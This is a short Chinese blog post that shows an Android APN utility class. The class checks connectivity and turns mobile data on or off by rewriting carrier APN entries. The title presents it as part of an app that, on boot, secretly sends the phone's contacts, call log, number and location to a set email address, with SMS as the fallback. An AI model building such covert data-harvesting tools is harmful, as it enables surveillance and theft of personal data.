`

开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(apn操作)

阅读更多


 static Uri uri = Uri.parse("content://telephony/carriers");
 static Context context;
 public APNUtils(Context context){
  this.context=context;
 }
 
/**
 * 检查网络
 * @return
 */
    public static boolean checkNet() {
         boolean flag = false;
         ConnectivityManager cwjManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
         if (cwjManager.getActiveNetworkInfo() != null) {
             flag = cwjManager.getActiveNetworkInfo().isAvailable();
         }
         return flag;
     }
 /**
  * 打开网络
  */
 public static void openAPN() {
  List<APN> list = getAPNList();
  for (APN apn : list) {
   ContentValues cv = new ContentValues();
   cv.put("apn", APNMatchUtils.matchAPN(apn.apn));
   cv.put("type", APNMatchUtils.matchAPN(apn.type));
   context.getContentResolver().update(uri, cv, "_id=?",
     new String[] { apn.id });
  }
 }
 
/**
 * 关闭网络 
 */
 public static void closeAPN() {
  List<APN> list = getAPNList();
  for (APN apn : list) {
   ContentValues cv = new ContentValues();
   cv.put("apn", APNMatchUtils.matchAPN(apn.apn) + "mdev");
   cv.put("type", APNMatchUtils.matchAPN(apn.type) + "mdev");
   context.getContentResolver().update(uri, cv, "_id=?",
     new String[] { apn.id });
  }
 }
 
 private static List<APN> getAPNList() {
  String tag = "Main.getAPNList()";
  // current不为空表示可以使用的APN
  String projection[] = { "_id,apn,type,current" };
  Cursor cr = context.getContentResolver().query(uri, projection, null,
    null, null);
  List<APN> list = new ArrayList<APN>();
  while (cr != null && cr.moveToNext()) {
   Log.d(tag, cr.getString(cr.getColumnIndex("_id")) + "  "
     + cr.getString(cr.getColumnIndex("apn")) + "  "
     + cr.getString(cr.getColumnIndex("type")) + "  "
     + cr.getString(cr.getColumnIndex("current")));
   APN a = new APN();
   a.id = cr.getString(cr.getColumnIndex("_id"));
   a.apn = cr.getString(cr.getColumnIndex("apn"));
   a.type = cr.getString(cr.getColumnIndex("type"));
   list.add(a);
  }
  if (cr != null)
   cr.close();
  return list;
 }

 

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics